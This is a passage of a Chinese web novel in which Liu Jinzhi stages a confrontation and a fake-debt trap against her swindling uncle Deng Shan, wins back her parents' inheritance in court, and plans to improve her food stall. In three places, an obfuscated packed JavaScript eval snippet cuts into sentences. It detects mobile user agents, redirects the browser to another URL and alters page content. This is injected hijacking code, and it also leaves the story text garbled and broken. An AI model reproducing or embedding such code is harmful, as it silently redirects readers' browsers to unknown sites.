“金枝啊,我和你舅舅可是把你当亲侄女对待的,你怎么回汴京都不与我们写一封书信?也好叫我们预备着给你接风洗尘。” “哦?舅舅与舅妈确实是要给我接风洗尘?而不是将我弟妹连夜送走,好叫我无法知道舅舅与舅妈这些年,是如何对待他们的?!” 柳金枝冷笑,将“如何对待”这四个字咬的极重。 柳霄和月牙也一同围上来,冷冰冰地看着邓章氏。 邓章氏更为心虚,结结巴巴道:“我、我和你舅舅待霄哥儿、月姐儿算不错了!你、你非要这么空口白牙污蔑人,我也分说不清楚!待你舅舅来亲自与你说吧!” 尔后就想走。 柳金枝直接上前两步将人拦住,语气含笑:“舅妈,您去告诉舅舅一声也好,毕竟有些账咱们确实要算了。今日未时,我亲携弟妹上门拜访。” 言罢,这才将邓章氏放走。 柳霄皱着眉,走上前拉住柳金枝的衣袖:“阿姐,你当真要亲自去邓家?” 柳金枝道:“当然,总不能白叫你们吃了这些年的苦头。再者说,阿爹阿娘留给我们的家财还在他们手中,咱们也必须拿回来。” 柳霄抿了抿唇,道: “我和月牙在邓家待了这么多年,对他们夫妇二人也有所了解。舅母是个后宅妇人,虽贪财,但蠢笨,所以我和月牙也不怕她。但是舅舅……” 他停顿片刻,才道: “是个心黑手狠的捣子,又认识许多人。在你没回来前,我和月牙就想过去告官,让舅舅把遗产吐出来。没想到叫他盯上,不仅派人追打我们,还叫我们进不了府衙一步,还抢了我费心存下的银钱。” 柳金枝脸色猛然一黑。 难怪呢! 柳霄看起来也不像是个没主意的孩子,怎么可能任由自己和月牙流落街头,甚至到了偷吃包子被抓入军巡捕的地步。 原来是想过反抗,却被这个黑心的贼娘舅给硬生生打了回来! 好啊好啊,当真是眼瞧着她不在,就把她弟妹两个当猪狗般欺负。 柳金枝气的两颊泛红,问柳霄道:“你和月牙受了这么多欺负,为什么不在我回来后全部告诉我?” 柳霄沉默了下,眼眸漆黑若深潭,道:“因为我不想再失去这个家。” 柳金枝看着柳霄,柳霄却避开了她的目光,低声说道: “无论阿姐你说我自私也好,骂我怯懦也罢。可我和月牙好不容易能有一个稳定的家,我不能再眼睁睁看着你去撞南墙,把这个家又撞散。” 他说着,蹲下来拉住月牙的小手。 因为冬日里手也浸在冷水中洗了半日的盘子,月牙双手发红,指尖还有着细小伤痕。 但是从头到尾,月牙都没有叫过一声辛苦。 “阿姐,虽然我们现在的日子过得也不算轻松,但我和月牙都觉得已经够了,至少比我们以前待在邓家,不知何时才能吃上一顿饱饭的日子有盼头多了。” “所以,你不要去邓家了讨要说法了,咱们就先经营好自己的小家,好吗?” 柳金枝看着少年眸子里诚恳的神色,知道他说的话皆是出自肺腑。 长久孤独流浪的孩子,一旦拥有了家,就会拼尽全力去维护它。 更何况本来就将家视作性命的柳霄? 柳金枝理解,也心疼柳霄和月牙。 她弯下腰,分别揉了揉柳霄和月牙的发丝,轻声安慰道:“阿姐不怪你懦弱,我能知道你是为了这个家好,也是为了我好。” 柳霄一怔,忍不住抬起头来看柳金枝。 逆着天光云影,柳金枝眉眼清丽,像是一幅艳山暖水的画,可她眸子里的温柔才最叫人移不开眼。 “阿姐,你同意不去邓家了?”柳霄忍不住问。 “不,我还是要去。”柳金枝认真道:“因为你不知道,愿意各退一步的人是君子,但小人只会欺软怕硬。你越不肯与他硬碰硬,他就会越来欺负你。” 柳霄眸光闪动。 “与其坐以待毙,不如主动出击。”柳金枝对柳霄伸出手,“你若肯信我,那就与我站在一起,咱们一家三口齐心协力,去邓家讨这笔债!” 柳霄的视线落在柳金枝的手掌上,眼眶微红,道:“……如果你非要去这一趟,那我就跟着你。” 他没握住柳金枝的手,而是一个人抱着月牙默默站起来。 “但是月牙不能跟着我们一起去,就把她寄放在黄婶子家吧。” 柳金枝道:“你是怕我这一去会出意外,所以才想跟着我?” 柳霄顿了下,但没说话,只是转过头将月牙放在驴车上,然后一个人扛着擦拭干净的两套桌椅还去了蔡氏饭馆。 看着柳霄消瘦倔强的背影,柳金枝摇摇头,走过去摸摸月牙的脑袋:“他哪里都好,就是太倔了,对不对?” “但是哥哥会保护我们。”月牙抱住柳金枝的胳膊,小脸压出肉肉的弧度,“因为哥哥比谁都爱我们,所以你们两个一定不要吵架。” “当然不会,因为阿姐也比谁都爱你们。” 柳金枝温柔地说。 她得让柳霄彻底明白,现在已经不是六年前了。 他和月牙不再是没有人撑腰的孩子。 等柳金枝一家三口收拾好东西回到采莲胡同时,已经过了午时。 胡乱吃了些早上做的朝食果腹,柳金枝就抓了一把子铜子外出了一趟,等到临近未时才回来。 柳霄已经套好驴车在采莲胡同等着了。 虽然柳霄对柳金枝消失这段时间去了哪儿有些疑惑,可柳金枝没主动说,他也就没问,只一路沉默驾着驴车到了城南。 邓家是做药材生意的,但一路传到邓家舅舅,邓山,这一代已经逐渐没落。 再加上邓山又是个鸡鸣狗盗之徒,拜高踩低之辈。对穷苦百姓,他就用假药来滥竽充数。对富户豪绅,就拣上好的药材上供。 所以近年常在各路达官贵人的门首走动,也识得了许多不三不四的捣子,帮他做些龌龊勾当。 不知有多少穷人吃他家的药毫无疗效后,气愤到要去报官,结果被几大拳打将回来的。 邻里街坊哪个不对邓山咬牙切齿?却又只能打碎牙往肚子里咽。 这种人不能以常规手法对付,只能另辟蹊径。 柳金枝想着,驴车已经载着她一路从新曹门到了城南。 她少年离家,对邓氏药材铺地址的记忆早已模糊,但柳霄记忆深刻,一路驾着驴车过了南熏门里大街,直奔宣泰桥而去,而桥旁的“邓氏药材铺”旗招子已经若隐若现。 柳霄当真对邓家满怀恨意,只是瞧见个旗招子,都忍不住绷紧了背脊,脸色阴沉。 柳金枝拍拍他的肩膀,道:“放松些,有我在。” 柳霄回头瞧了她一眼,这才勉强让自己冷静下来,勒停驴车。 柳金枝下车以后没有丝毫停留,径直走向邓氏药材铺的门口。 甫一进门,柳金枝就瞧见柜台前的躺椅里坐着个瘦如竹竿的中年男人,蓄着山羊须,一双吊梢三角眼,眼睛滴溜溜一转,透露着十分的精明和刻薄。 男人还不知道柳金枝进门来,正翘着二郎腿翻看账簿,手里抓了一把瓜子儿,一边嗑,一边拉长了音调喊:“富贵儿,给老爷我沏壶茶来。” 柳金枝按住柳霄要叫人的架势,自个儿酝酿了一下,大叫一声:“娘舅!我的命好苦啊!” 这一声仿佛在邓山耳边丢了个炸雷,吓得他手一抖,瓜子和账簿全掉了一地,险些摔在地上。 惊惶抬头一看,方才瞧见柳金枝,当下脸色来回变换,青青紫紫,最后又转为黑,冷笑着拍拍手站起来,道: “好侄女儿,你倒是一言既出驷马难追,说登门还真登门。” 看来邓章氏已经把柳金枝的话带到了。 柳金枝做作地抖开一条帕子,在自己脸上擦来擦去,凄声惨气地哭道: “再不登门,侄女我可就活不下去啦!娘舅啊,当年我父母双亡,我与一双弟妹又年幼,便把遗产托付给你看管。” “再加上我家老屋这些年的租金,和我卖身为奴的银子,也都给了你,就是劳烦你帮我照顾两个年幼的孩子。” “结果我弟妹两个流落街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458087|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,食不果腹,衣不蔽体!我那小妹妹瘦成了皮包骨,我这个弟弟也是底子虚弱,咳嗽不断。” 柳金枝拉过柳霄,使劲儿一拍他的后背。 柳霄会意,赶紧撕心裂肺地咳了起来。 “娘舅!您可是我亲娘舅!怎的能这般对我呢?我那死去的爹娘可还在天上看着你呢!” 柳金枝张口就是卖惨,根本没有给邓山反应的时间。 等邓山气愤地跳起来破口大骂时,药材铺以及铺子外头的百姓都围上来瞧热闹。 邓章氏以及伙计富贵也被这动静惊动,全都从后院转了出来。 “贼歪刺骨!我养你弟妹到大,你如何空口白牙来拉扯我的不是?!” 邓山把个胸脯拍的响亮: “我邓山为人邻里街坊没有不知道的,那是出了名的光明磊落!” 此话一出,围观百姓皆是哄笑。 饶是邓山厚脸皮,此时也不自在,唤了富贵拿着扫帚去门首赶人。 “去去去!家务事,谁准你们在这儿瞧热闹?!”富贵大扫帚乱挥。 几个在铺子里买药的客人也被赶了出去。 众人被挨打,但又不肯放过看邓山笑话的机会,就远远凑在街对面的铺子里看。 邓山恨得牙痒痒,骂道:“你这贼猪狗,此前你舅母上御街采买布匹,你倒给拦住了好一通威胁!现下又来侮辱我了。你说说,你究竟要如何?” 柳金枝哭哭啼啼,道:“我只是一介弱女子,能待如何?只不过期望娘舅你把我阿爹阿娘的遗产还回来罢了。” “呸!按照大宋律法,我妹子和妹夫死了,他家的遗产合该归我管。我瞧你是在外头勾搭了什么不三不四的野男人,就想从我手里捣鼓走遗产,好自己享用吧?” 邓山冷笑。 柳霄顿时怒火中烧,怒喝道:“你嘴巴里在喷什么粪?!” “怎的?刺中你的痛处了?”邓山不屑一笑。 “你——!” 柳霄撸袖子就要上去拼命,却反叫柳金枝拦下。 柳金枝假意擦着眼泪,道:“娘舅说的不假,但娘舅扪心自问,你拿着我父母财产,可有一分一毫花在我弟妹身上?” “您瞧舅母身上穿的是绫罗绸缎,头上戴的珠花金簪。您这件直裰恐怕还是杭州湖边的丝绸裁剪的,便可见一斑。” 邓章氏心虚地往后缩了缩,但邓山气急败坏,抬手就想打人。 可柳金枝抢在他之前陡然提高音量,道:“娘舅怕是还不知道,《名公书判清明集》中曾记载了一件“叔父谋吞幼侄财产”案。” “因幼侄儿年幼时痛失双亲,不得不由叔父代为监护。结果叔父贪婪自私,不仅未尽监护之责,反倒霸占了侄儿家财。” “官府发现后,严惩其叔父,仗责四十,直打的人下半身血淋淋的。” “娘舅,您说若官府知道你这般虐待亲侄,抢夺遗产,会不会也对娘舅动这样的刑罚?” 一番话说的邓山脸色是变了又变。 但他可是在汴京城里混迹了多年的捣子,倒不至于被柳金枝一句“告官”就给吓唬了去。 “好侄女,我算是听出来了,你这是想要以下告上,闹到官府去。”邓山嗤笑一声,压低了声音威胁,“但侄女莫不是忘了我大宋律法早有规定,以下告上,需先行承担责仗三十。就你这身子骨,经得起打吗?” 邓山将柳金枝当作十六岁少女吓唬,可不知柳金枝来自现代,其眼界学识非常人可比。长眉一挑,将这话怼了回去: “娘舅,我就与您说一句实话。这回我从秦淮回来,就没打算再离开。但家中贫穷,生活难以为继,就快饿死了。现下为了银子,就算叫我再挨三十板子也甘愿。” 今日为了卖朝食方便,柳金枝和柳霄都穿的十分朴素。 特别是柳金枝,她本就没什么傍身银钱。 所以身上穿的是洗得发白的粗布麻衣,一头青丝只用一根素木簪子固定,再加上她清瘦的身段,很难不让人相信她是因为走投无路,而不得已与邓山拼死一搏。 “再说了,侄女年轻,挨一顿板子死不了,养养就回来了。”柳金枝擦去腮边两滴清泪,故意走近两步对着邓山勾唇一笑,眉眼满是挑衅和算计。 “只是娘舅,我记得您今年也三十有九了,可还经得起这般折腾?” 14. 闹去官府 邓山在横行霸道多年,就没被人这样对待过。 他气得脸都绿了,把拳头纂得吱嘎响,恶狠狠道:“你想报官?想得美!我让你这辈子都走不到衙门口!” 话音落下,门口砰一声。 柳金枝与柳霄猛然回头。 居然是富贵不知什么时候绕到了大门口,将门给关上了,手里还拿着根棍棒,紧盯着柳金枝的腿。 看来这厮是仗着背后有人,想要来硬的! 柳霄反应过来,直接抢过柜台上药材秤,横身保护在了柳金枝身前,像个小豹子一样绷紧了浑身肌肉。 “你敢动我阿姐一下试试!” 邓山却嚣张道:“富贵,给我打!只当他们是光天化日之下,闯入我药材铺偷盗的贼人,届时到了官府,自有我为你分说!再与你十两雪花银!” 一听说有银子,富贵顿时眼前一亮,二话不说就朝柳金枝扑去。 柳霄大叫一声,拼命朝前一撞,用双臂死死抱住富贵腰身,口中大喊:“阿姐快跑!快跑!” 富贵满眼不耐,正要揪住柳霄衣带,将人狠狠砸出去的时候,药材铺的大门忽然被人撞了一下。 起先还没人在意,邓山只顾着叫富贵打折柳金枝的腿。 但大门的撞击声越来越大,整个大门摇摇欲坠,被猛地一下撞开,门板倒在地上激起一片灰尘。 邓山和邓章氏都吓了一跳,抬头一看,只见门口不知何时居然站了三个黑黢黢的彪形大汉,一个个长得跟移动小山似的,往哪儿一站,顿时就将门口堵了个水泄不通。 富贵与他们相比,就好似猛虎比野狗,气势上顿时就输了一截。 更遑论其中有个汉子恼富贵挡了他的道,当下一脚踹中富贵小腿,直把个人踹翻在地,抱着腿爹啊娘啊的嚎哭个不停。 趁此机会,柳金枝赶忙带着柳霄躲到一边静观其变。 邓山也免不得吞了一口唾沫,叉手一拜,道:“不知三位好汉是哪方人士?怎得今日莅临寒舍?” 为首的一个络腮胡粗声粗气道:“邓二哥是爽快人,直接就问了俺们来历,那俺们也不睡里梦里,直说了罢。” “前些日子俺在你这间药材铺里买了味假药,找你来理论时,你只说是没银子,又哭的可怜,俺们也就宽限了你些时日。” “但现下俺们看你威风的很,不似个可怜虫,便要上门讨银子来。” 邓山听了,把眼睛都吓得瞪大了:“你们在胡说什么?我何曾欠过你们银子?” “邓二哥,你这话就不对了,你没欠俺们银子,那俺们又为何要向你讨银子?自古说苍蝇不钻那没缝的蛋,你可休要抵赖。”络腮胡道。 柳霄听得眉心一跳,看向柳金枝道:“阿姐,这……” 柳金枝按住他的嘴,笑道:“别说话,先把这出戏看完。” 这邓山常常叫贫困百姓吃哑巴亏,现下到他吃亏,简直就冤得无处诉苦,拍着手道:“我都不知你们三人姓甚名谁,素不相识,你们怎得就要找我来讨银子?这一定是认错了!” “欸,邓二哥,自古以来于官不贫,赖债不富。你连本带利欠了我们五十两银子的药材钱,怎就耍赖不给呢?你可别忘了,当时你这味假药,可是险些害死我鲁家嫂子。” “是啊,若不是我几个劝着我鲁兄弟,他就是拿把刀子杀了你,白刀子进红刀子,也是使得的。你怎得转脸就不认了这恩情?” 瞧这络腮胡说的有理有据,把个邓山急得额头冒汗,道:“我哪里借了你们的银子?就算真的借了,也该有文书保人。现在无凭无据,你们便要讹我五十两银子?世上哪有这样的道理?!” “你要文书?我这有,与你瞧瞧。” 络腮胡从袖子里取出文书,在邓山面前晃了一晃。 邓山一瞧上头写的年月日全然对不上,眼见着是弄虚作假,当下脸被气的蜡黄,怒喝道:“贼他娘的杀千刀,你们是哪里来的捣子?走来我门首讹诈我?!” 却不想络腮胡比他更恼火,上前就是一拳,正中邓山面门,打得鼻子都恨不得歪到一边,整个人朝后一飞,撞在货架上,扫落了一地的药材。 眼见邓山吃了瘪,那些个被富贵赶走的百姓又纷纷围过来瞧热闹,讥笑不已。 邓山只觉得自个儿的鼻子软成了一根热面条,险些要从自己脸上流下来。再一摸,好家伙,满手的鼻血! 真是气得他七窍冒烟,恨不得五脏六腑都挪了位,捏着鼻子大骂道:“好个贼捣子!我倒要叫你们好看!”又奋力挣扎起来,“富贵,还不快过来帮忙!” 可是富贵被这络腮胡一脚踢翻,此时还在地上窝爬着哭爹喊娘,哪里还敢再上? 邓山这回是落了个孤立无援的下场。 三汉子中的一人道:“罢了,大哥,咱也别给邓二哥太难堪。当年都肯宽限他些时日,现下也再宽宥一二。只要他肯把五十两药材钱还上,咱们就别动手了。” 邓山又气又怕,又不敢再骂,只恨恨道:“我哪里有借你们银两?就是有借,你们也该与我好讲,怎得这般撒野?!” 闻言,络腮胡好笑道:“邓二哥,你若早这般承认欠了我们药材钱,也不用挨我这一拳了。你说说,这一拳岂不是你自找的?” 从未听过这般颠倒黑白之事! 邓山顿时气得理智全无,手都在发抖,破音了一般吼:“□□你祖宗的!我要报官!我要报官!” “瞧这邓二哥,似吃了酒一般,又说起胡话来了,让兄弟我来替你醒醒酒。” 络腮胡笑吟吟的,大步流星走上前提起邓山,直从货架前提溜到了铺子门口,手上不提防又是一拳。 打得邓山一声惨叫,仰八叉跌了一跤,直摔出街面去,险些跌进洋沟里,却将帽子掉了,发散开了,连巾帻都叫沟水污了,狼狈的不成样子。 可是邓山人缘坏,周围连一个帮他说话的人都没有,大家都笑嘻嘻的,有的甚至还在喝彩: “壮士,再来一拳!” “打得好!” 吵闹成这般情形,终于招来了地方保甲。 保甲见邓山心头恨极,一味嚷嚷着“青天白日里冤枉人,我要见官!”之类的话,便取出一条绳儿来,将邓山与那三条汉子一并栓了,要押他们去官府。 又见柳金枝和柳霄还有富贵也都在郑氏药材铺子里,应是人证,因此不问三七二十一,也作一条绳儿捆了,一并带去官府。 而邓山呆愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458088|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣瞧着保甲的动作,被气飞了的理智终于逐渐回笼。 他喘着气,一面看了看自己手上拴着的绳儿,一面又抬头瞧瞧面前笑容灿烂如花的柳金枝,顿时大惊失色,惨叫“完啦!”,仰头便昏死过去。 柳霄在寄人篱下多年,常受邓山刻薄苛待,见惯了邓山呼风唤雨的样子,还从未见过邓山如此狼狈,此时又畅快又高兴。 “阿姐。”柳霄难掩兴奋语气,第一次像个少年,“这事是不是和你有关系?” 柳金枝狡黠一笑,低声道:“邓山在宣泰桥作威作福多年不假,但你可别忘记汴京城第一帮闲是谁。” “是应天爵!” 不可否认,邓山的人脉遍布三教九流,但与应天爵相比,还是显得不够看。 柳金枝就是意识到这一点,中午就取了银钱去见了应天爵一面,许诺他事成之后,不仅亲自下厨备一桌好酒席款待,更会将遗产分他两成,这才成功求到援助。 这三个汉子,正是应天爵找来的兄弟。 这三人少年时就混迹于市井,比起常窝在宣泰桥一角耍威风的邓山,要有手段的多。 今日他们给邓山下的这个套虽是常见的讹诈,却也是他们最拿手的把戏。 次次用,次次灵。 连官府都抓不到他们什么把柄。 更何况这次还有应天爵为他们在背后打点,更不用怕什么了。 邓山不是想用强硬手段把“侵吞亲侄财产一案”强行压下来吗?那她就顺水推舟,让这三兄弟把事情闹大,逼得邓山自己去报官! 除非邓山甘愿认下这五十两银子的哑巴亏,再白白挨几个拳头。 所以被保甲捆上绳子的时候,柳金枝坦然极了,甚至巴不得再快些到官府去见官。 但她大病初愈不久,小脸儿苍白,却又姿容清丽,方才和邓山对峙时,又哭梨花带雨,好不可怜,现下跟几个草莽大汉拴在一处,不免惹人怜悯: “这位娘子也是可怜,怎生就摊上邓山这么个黑心娘舅。” “是啊,吞了她爹娘的遗产,又虐待她两个弟妹,若不是今日有人来寻麻烦,怕是难挨。” …… 人群后头,有两道人影从五岳观里绕出来。 走在后头的是一白胖小童,睁着一双圆溜溜杏眼,手搭凉台瞭望道: “二郎,你瞧,前头挤了好些人,也不知发生什么事了。” 傅霁景略微抬起头来简单看了前头一眼。 寒风吹起他身上宽大的藏青色袍子,猎猎作响,却又有几分说不出的魏晋风流。 “杏安,莫要瞧热闹了。”傅霁景重新敛下眉眼,声音温和沉静,“先回家将何方真人的墨宝交给父亲方为正事。” 杏安颇为失望地又踮脚看了下,却见前方人群也渐渐要散了,百姓们零零散散走开,只剩嘴里还在议论: “若柳娘子到了公堂之上,还被邓山刁难,我倒愿意去作证。当年柳霄还住在宣泰桥的时候,我可没少见邓山拿竹条抽打那孩子。” “只是邓山终究是柳娘子的娘舅,若是以下告上,这三十板子是逃不掉了。” “可惜了柳娘子如花一般的美人。” 傅霁景脚下一顿。 15. 拿回遗产 待柳金枝一行人被保甲带至应天府公堂下跪,两排衙役一齐大力敲打水火棍,齐呼:“威武——” 坐于明镜高悬四字匾额下的提刑官着一身藏青,眉心有道川字眉,虎目炯炯有神,更显不怒自威,沉声道: “堂下所跪之人,哪个是苦主?” 邓山后悔不迭,却又不敢承认,直到被那保甲踢了一脚,才颤巍巍应道:“草、草民就是。” “你要状告何人?” “草民……” 邓山满头冷汗,却支支吾吾说不出个道理来。 就在这时,忽有一声越过他,掷地有声道:“娘舅他要状告这三位壮汉讹诈。” 邓山一愣,惊异地看向柳金枝,似是不理解为何柳金枝不帮着这三人。 然而还未等他把事情想明白,那三个汉子就大声叫起冤屈来,一口咬死了是邓山卖假药,欠了他们五十两银子。 提刑皱起眉头,敲响惊堂木:“肃静!你们既然状告邓山欠你们银两,可有保人文书?” 邓山本以为这三人要将那份伪造的文书拿出来,谁知这三人居然摇头,苦笑道:“回老爷,我们没有。” 话音落下,邓山只觉得背脊发毛。 这三人才没那么好心,不知是在哪里等着他? 果然,下一刻,络腮胡便道:“这邓山精明,我要签文书,他却一直推脱不肯,因而草民没有证据。可是草民不曾说话,邓山当真作奸犯科,以次充好,卖假药骗人。大人若是不信,大可以去宣泰桥找街坊邻居作证。” 按照大宋律法,贩卖假药这事儿一旦被坐实,那就是流放的刑罚! 邓山这才明白这三人打得是什么主意,不由得遍体生寒,直发起抖来,只有脑子还保持一点清明,只觉得整件事不对。 他与这三人无冤无仇,怎得就要来坑杀他? 忽然,一点灵光从脑子里闪过,邓山瞪直了眼睛看向柳金枝。 而柳金枝侧眸瞧他,却是微微一笑。 “是你!”邓山恨不得扼杀柳金枝,面容扭曲地怒吼,“是你害我!就为了四千贯,你居然害你亲娘舅!” “肃静!不得扰乱公堂!” 提刑再拍惊堂木。 左右立即上前按住邓山的肩膀,啪啪左右开弓抽了他两个嘴巴,直把人打的天旋地转,再不敢高声,只用一双眼睛恨恨地瞪向柳金枝。 “去,到宣泰桥寻访邓山的邻居,有愿意作证的即刻带来应天府。” 提刑从签筒里抽出个令箭掷于堂下。 左右领命即去。 本以为此事破要费一番功夫,谁知邓山在宣泰桥作威作福多年,左邻右舍饱受欺压,一听得是应天府传唤,光是自愿来府衙的就足有十来个! 齐刷刷在公堂上跪了一排,提刑问什么,便答什么,但架不住邓山人缘坏,一问一答之间,居然就有人额外控诉起邓山来。 如买了邓氏药材铺的药,却吃坏了身体的百姓要去官府告状,邓山雇打手将人痛打一顿,逼的苦主不敢再靠近官府一步。 又如邓山仗势欺人,邻家的猪跑到了他家,就故意把猪关起来据为己有,邻居来讨要,反将人痛骂一顿。 还如…… 邓山的罪状越挖越多,提刑眉心拧成了个大疙瘩,眼中怒火鼎盛。 “大胆!在汴京城中,官家脚下,竟还能出现这般贼恶人!”提刑狠拍惊堂木,“可还有苦主要说话?” “老爷。”柳金枝膝行两步上前,跪地流泪,“还请老爷饶民女娘舅一命。” “娘舅他虽然是个恶人,亦曾强占了我父母的四千贯遗产不肯归还,还骗我自卖为奴将卖身银子交与他。” “假意收养我弟妹,却时刻将其虐打,还在冬夜里赶出家门,令其自生自灭。” “在我携带弟弟上门讨要银钱时,又要对我们姐弟俩动手。” “可他始终是民女的娘舅啊。” “民女不能眼睁睁看着娘舅被仗责流放。” 说实话,柳金枝这番话茶里茶气,听起来颇假,但奈不住她哭得真切。 眼泪跟断了线的珠子一样,扑簌簌从脸上落下来,大颗大颗砸在地面上。 配合着来看,倒真像个愚孝纯良之人。 可这番话险些没把邓山气晕过去,他尖声道:“分明就是你伙同这三人害我!现下却如此颠倒黑白!” 在场众人哪个和邓山没点仇? 一听说邓山这般不要脸构陷一位年轻娘子,便纷纷为柳金枝说起话来。 大家都住在宣泰桥多年,关于邓山虐待柳霄、月牙的见闻是数不胜数,诸如不肯给饱饭吃,逼得两个孩子垂死挣扎之际,只能去偷吃鸡食,却连这也要挨一顿毒打。 其惨状就连提刑都颇为动容,忍不住叹息:“世上竟有这般狼心狗肺之人。” 当下便不愿再听下去,直接拍响惊堂木,道:“犯人邓山售卖假药、仗势欺人、还意欲私吞亲侄钱财,现证据确凿。本官着令邓山归还五十两药材钱,与柳家娘子四千贯,事了之后再发配青山县,除非大赦,否则永不许回京!退堂!” 敕令落下,只听噗通一声。 众人看去,原来是邓山惊骇过度,竟然直接倒在堂中昏死过去。 柳金枝眼珠一转,当即做作地抖开一条帕子,掩面哭道:“哎呀,我的娘舅欸~您就这么去啦~侄女也是痛心疾首啊!” 大家见柳金枝伤心,都感叹她当真纯良心善,不由纷纷安慰。 柳霄却在一旁看的分明,柳金枝掩在帕子下的嘴角压都压不住。 为避免露馅,柳霄赶紧也假装悲伤将柳金枝扶起来,抽抽噎噎道:“阿姐,咱回家吧。” 柳金枝点点头,被搀扶着往外走。 眼见着二人的背影逐渐消失,师爷忍不住对提刑道:“大人,这位娘子以下告上,按照大宋律法,该先打三十大板才对。” 提刑沉默了一下,道:“师爷,律法确为铁令,却也该在细微处通达人情。今日之事,本官只当它是众人仗义执言,一齐揭发出来的。至于所谓以下告上,本官从未听过。” 言罢,提刑站起来,转身退堂。 府衙之外。 柳霄搀扶着柳金枝走了一段路,见身后无人跟来,这才分开说话。 天边晚霞柔柔落下,河畔的枯枝分割着半轮血色残阳。 借着天色,柳金枝才看清柳霄额上不知何时多了一层冷汗。 “阿姐,虽然我很高兴邓山终于自食恶果,但今日你说出他恶行的时候,我着实为你捏了一把汗。万一提刑认为你在以下告上,那三十大板你是无论如何都逃不过去的。” 柳霄道。 “阿姐知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可惜的是,傅霁景自从归家,除却亲近之人有事央求,否则绝不出门,只留在家中静心温书,连带着他也找不到机会出府。 今日好不容易见到柳金枝,为了肚子里的馋虫,说什么也得上去问候两句。 也就装出一副懂事知礼的模样,皱眉道: “二郎,当时在船上柳娘子为我们做了半月吃食,我们却没来得及当面告慰,就离船去了。现下想想,总觉得失礼。” 傅霁景脚步一顿,不由犹豫地抿起唇瓣,道:“这怕是于礼不合。” “嗐,礼还能比人情大?那柳娘子着实可怜,在侯府被磋磨,回汴京又因为黑心娘舅侵吞财产闹上公堂。” “都说救人救到底,送佛送到西。” “二郎既然救了柳娘子一命,不如好人做到底,去瞧瞧她家中到底如何?莫要又出意外,白救得一条性命回来。” 杏安一边说,一边小心翼翼地观察傅霁景的神情。 只见傅霁景也像是找到了一条满意的理由,终是点头道:“若是为了此前失礼之处去赔罪,倒理所应当……” 杏安闻言大喜,都等不及傅霁景把话说完,急急忙忙扭过头去要先叫住柳金枝二人。 然而前方哪里还有人? 柳金枝与柳霄早走了,此时只剩一片寂寥的深冬景色而已。 16. 镂鍮装花盘架车 夏提刑下了命令后,邓山就被扣上了镣铐。两个衙役押着他往宣泰桥的药材铺子走,要去拿回欠款。 柳金枝、柳霄还有那三个汉子自然都跟着。 到了郑氏药材铺,就看见邓章氏站在门口哭,见邓山被押解着,更是泣不成声。 却没人同情她,毕竟邓山作威作福的时候,她不也跟在身后耀武扬威? 两个衙役也不跟她多废话,直接出示公文,叫她拿出五十两银子并四千贯出来了账。 然而即便邓山曾经威霸一方,这五十两银子也是个了不得的大数目,邓章氏给不起,只得先把柳金枝的四千贯还了,说要再去后院找找。 两个衙役尚且年轻,倒真放邓章氏去了。 可是一刻钟后还不见邓章氏转还出来。 那络腮胡便一拍大腿:“糟了,这妇人怕是要逃啊!” 一群人齐齐涌入郑氏药材铺看,果真,金银细软,值钱药材全没了,后院角门大开,邓章氏便是从此处逃之夭夭。 衙役大怒,转身劈头盖脸打了邓山一顿,打的人嚎啕大哭,却又把人扯起来,往他岳丈家要银子去了。 这接下来的事儿柳金枝就不必再跟了,与三个汉子和两个衙役道过谢,就和柳霄坐着驴车去了御街。 柳霄面上阴郁之色消散不少,笑道:“多行不义必自毙,邓山这回活该。” 柳金枝道:“夫妻本是同林鸟,大难临头各自飞。邓章氏卷着钱财跑了,却连一点路费都没给邓山留。从汴京到青山县,少也有几千里路呢。要是连岳丈家也不肯施舍一些,衙役还不知道要如何恼火呢。” 这些可都不关他们的事儿。 各人有各人的造化,以后邓山是死是活,就与他们无甚关系了。 柳金枝道:“拿回了这四千贯,我想去御街上买些东西把食摊改造一下。” 柳霄闻言点头:“买些桌椅回来,就不用向别人借了。” “桌椅是一方面,我还想招个洗碗工。”柳金枝回想起月牙红肿的手指,心疼又愧疚,“月牙还小,不应该跟着我们吃这么多苦。” 柳霄道:“阿姐不要这么想,其实月牙很高兴,比起以前的日子,现在算不得苦。” “以前是以前,现在是现在,既然我回来了,总是要好好护着你们。”柳金枝从怀里摸出两盒油膏,塞在柳霄手里,“呐,你和月牙一人一盒。” 这两盒油膏还带着一些温热,应是柳金枝外出时早就买好的。 柳霄摸着油膏的外壳,心中温暖,笑道:“谢谢阿姐。” 柳金枝摸摸他柔软的发丝,眼中温柔的仿佛尽是点滴春色。 片刻后驴车停在御街的桌椅团行附近。 柳金枝下车一看,发现这里的铺子大多都在门首摆放精致桌椅,吸引顾客的视线。 椅子有靠背椅、扶手椅、圈椅、玫瑰椅、交椅和官帽椅。桌子又有平头案、翘头案、琴桌和花腿桌…… 但她是做夜市,地方有限,太大的桌椅要不了,太漂亮的桌椅又太贵。 